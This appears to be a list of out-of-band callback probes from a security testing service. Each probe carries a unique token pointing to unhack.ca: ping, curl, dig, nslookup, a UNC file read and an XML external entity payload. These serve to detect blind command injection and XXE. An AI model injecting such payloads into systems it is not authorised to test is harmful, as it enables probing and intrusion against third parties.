$ ping -c1 -p 006d1df63c83443b3e3a8e92d606ab00 unhack.ca
 

$ curl http://unhack.ca/p/6d1df63c83443b3e3a8e92d606ab
 

$ dig 6d1df63c83443b3e3a8e92d606ab @unhack.ca
 

$ dig 6d1df63c83443b3e3a8e92d606ab.ns.unhack.ca
 

C:\> nslookup 6d1df63c83443b3e3a8e92d606ab unhack.ca
 

C:\> type \\unhack.ca\6d1df63c83443b3e3a8e92d606ab\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6d1df63c83443b3e3a8e92d606ab">]>
    <foo>&xxe;</foo>